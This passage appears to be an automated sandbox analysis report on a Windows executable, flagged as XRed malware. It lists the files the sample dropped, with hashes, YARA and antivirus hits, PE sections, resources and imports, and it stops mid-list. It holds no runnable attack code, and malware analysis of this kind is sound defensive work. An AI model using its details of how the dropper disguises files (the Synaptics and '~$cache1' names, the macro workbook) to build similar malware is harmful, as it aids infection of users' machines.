C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\thm.xml

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5881
Entropy (8bit):	5.175177119212422
Encrypted:	false
SSDEEP:	96:wHdQG+3VzHfz96zYFJKFBiUxn7s82rf3nswO:wHAz8
MD5:	0056F10A42638EA8B4BEFC614741DDD6
SHA1:	61D488CFBEA063E028A947CB1610EE372D873C9F
SHA-256:	6B1BA0DEA830E556A58C883290FAA5D49C064E546CBFCD0451596A10CC693F87
SHA-512:	5764EC92F65ACC4EBE4DE1E2B58B8817E81E0A6BC2F6E451317347E28D66E1E6A3773D7F18BE067BBB2CB52EF1FA267754AD2BF2529286CF53730A03409D398E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<Theme xmlns="http://wixtoolset.org/schemas/thmutil/2010">.. <Window Width="485" Height="300" HexStyle="100a0000" FontId="0">#(loc.Caption)</Window>.. <Font Id="0" Height="-12" Weight="500" Foreground="000000" Background="FFFFFF">Segoe UI</Font>.. <Font Id="1" Height="-24" Weight="500" Foreground="000000">Segoe UI</Font>.. <Font Id="2" Height="-22" Weight="500" Foreground="666666">Segoe UI</Font>.. <Font Id="3" Height="-12" Weight="500" Foreground="000000" Background="FFFFFF">Segoe UI</Font>.. <Font Id="4" Height="-12" Weight="500" Foreground="ff0000" Background="FFFFFF" Underline="yes">Segoe UI</Font>.... <Image X="11" Y="11" Width="64" Height="64" ImageFile="logo.png" Visible="yes"/>.. <Text X="80" Y="11" Width="-11" Height="64" FontId="1" Visible="yes" DisablePrefix="yes">#(loc.Title)</Text>.... <Page Name="Help">.. <Text X="11" Y="80" Width="-11" Height="30" FontId="2" DisablePrefix="yes">#(loc.HelpHeader)</T

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\wixstdba.dll

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	130032
Entropy (8bit):	6.426086637346382
Encrypted:	false
SSDEEP:	1536:vw7WzpopAuJhsVuThs5cXyeM6JUOfPGSpeBxm946ITADDwYkH/1d9chyP7iN6p0x:RmAuJhAyZFpem90iw//1d9chwG62MG
MD5:	A973CFA4951D519E032F42DC98A198B0
SHA1:	2BA0F1E1570BC2D84F9824D58E77B9192EA5DD94
SHA-256:	25EE85C14C9BE619B4F0BF783963ACE1DC0AF0E802014728C2A2CA8DA213D31D
SHA-512:	B4A8C4F08A51BDD9CE7708FE8E2477182A52F1D853954EB5AF0430C2DF99839B6076A7D93B00391A73D446A6AD9DA3ED77EF79C8B23353D32C72FC540415B8EF
Malicious:	false
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: NotezillaSetup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................x=....x...... .....0.....n..x.....x8....x9....x>...Rich..........................PE..L....NjT...........!.....4...................P...............................0...........@.............................................l................#...... ...0S.................................@............P...............................text....2.......4.................. ..`.rdata...d...P...f...8..............@..@.data..../..........................@....rsrc...l...........................@..@.reloc..J ......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~$znjZLpXp.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	false
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DFE4A043EED617E93E.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_282.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15244952
Entropy (8bit):	7.996729315290779
Encrypted:	true
SSDEEP:	196608:k7flpQcIIS/Rj7BWl+aV8t8z72BxBwBgO4n6018xRrdVBzIxdAANm5suXf/BApek:alptVYmfr7yBG/4nF8TRVBsViHmpe
MD5:	1BD671CE0DEAAA901841AE87D92B3606
SHA1:	6E0CFCDD9090587C5AFFA1DC6FEED782378D34E7
SHA-256:	9ABF3A1386584EA0E4B31198CC56E988E13E67CCDB1137EC6E18E883753D2DDB
SHA-512:	764DD2B3C0C8BE6AC6000CD40D8838F763282869F3B558FFF75100E5C46B03FB629DA99B4C1005822772D7DA1C42AF669D49FADF0AC7819285CF10B64D965CC7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........-.}}~.}}~.}}~...~.}}~...~.}}~...~.}}~...~.}}~.}\|~.\|}~...~.}}~...~.}}~.}.~.}}~...~.}}~Rich.}}~........PE..L....S.T.....................6....................@..........................P......p.....@..................................6..@........9..........0`..h>......03.. .......................H/......./..@............................................text............................... ..`.rdata.............................@..@.data....0...`.......:..............@....wixburn8............J..............@..@.tls.................L..............@....rsrc....9.......:...N..............@..@.reloc...D.......F..................@..B................................................................................................................................................................................................................................................

C:\Users\user\Documents\NVWZAPQSQL.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$NVWZAPQSQL.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	false
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.636362882247521
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IFr:ansJ39LyjbJkQFMhmC+6GD92
MD5:	B753207B14C635F29B2ABF64F603570A
SHA1:	8A40E828224F22361B09494A556A20DB82FC97B9
SHA-256:	7F16106F3354A65FC749737905B77DF7BBEFA28BF8BBC966DC1F8C53FA4660F2
SHA-512:	0DD32803B95D53BADD33C0C84DF1002451090FF5F74736680E3A53A0BFC0E723EEE7D795626BC10A1FB431DE7E6E276C5A66349EF385A8B92B48425B0BDD036F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.3723413788614005
Encrypted:	false
SSDEEP:	6144:8FVfpi6ceLP/9skLmb0jyWWSPtaJG8nAge35OlMMhA2AX4WABlguNciL:MV1JyWWI/glMM6kF7qq
MD5:	36FDF7E94E8EB27F6726DAEB8DA9EB08
SHA1:	77D19206C05A741F982A3936CBE59A8D19510C17
SHA-256:	25B88457B26C64413913DB0B7253285439A719A66CC4001CE490A7D402A9F16D
SHA-512:	8AAB20EF6695002EE8A966D179FCA7CF105AB6507C4D30BA08721882F93CFFC422F0396482CEEDB313839C2E571D8CD3EB2C12FC832D2A6C53EB8BC81B835EBD
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.$...................................................................................................................................................................................................................................................................................................................................................2.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.981074181960188
TrID:	Win32 Executable (generic) a (10002005/4) 92.57% Win32 Executable Borland Delphi 7 (665061/41) 6.16% Windows ActiveX control (116523/4) 1.08% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	LisectAVT_2403002A_282.exe
File size:	16'016'392 bytes
MD5:	6d1fd0af6dd71b3ca81ecefb1d9f9324
SHA1:	7dce009fae200ad379a332bc4f2cc5dc8c88df52
SHA256:	43c1d24d64d652dba7a789b4eb06870d5ba199060f0069b906a7b0f9ecbd4d70
SHA512:	9847db8a749bf940424c4e5ae8f29c459fe96aa88b95e066f53ad840a618ab9190de3797a1116839ad2be3db6c973675190e5e049cca6dad004115d54c5fb599
SSDEEP:	196608:ULz7flpQcIIS/Rj7BWl+aV8t8z72BxBwBgO4n6018xRrdVBzIxdAANm5suXf/BAn:UTlptVYmfr7yBG/4nF8TRVBsViHmpe
TLSH:	38F63332F6C08037C676093A9C5AE3645D3ABA152F34695B77E85E0D1F3D38329B6293
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F792CD5964Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F792CDACF95h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F792CDACB94h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F792CDACF84h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F792CDACFF8h
call 00007F792CD5712Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0xe9bbc8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0xe9bbc8	0xe9bc00	8bf070763451680ed5e3f51b4e25cd38	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.12453095684803002
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0xe89e98	PE32 executable (GUI) Intel 80386, for MS Windows			0.7985830307006836
RT_RCDATA	0xf42cac	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0xf42cb0	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0xf468b0	0x64c	data			0.5998759305210918
RT_RCDATA	0xf46efc	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0xf47050	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0xf4b824	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xf4b838	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xf4b84c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xf4b860	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xf4b874	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xf4b888	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xf4b89c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0xf4b8b0	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0xf4b8c4	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, 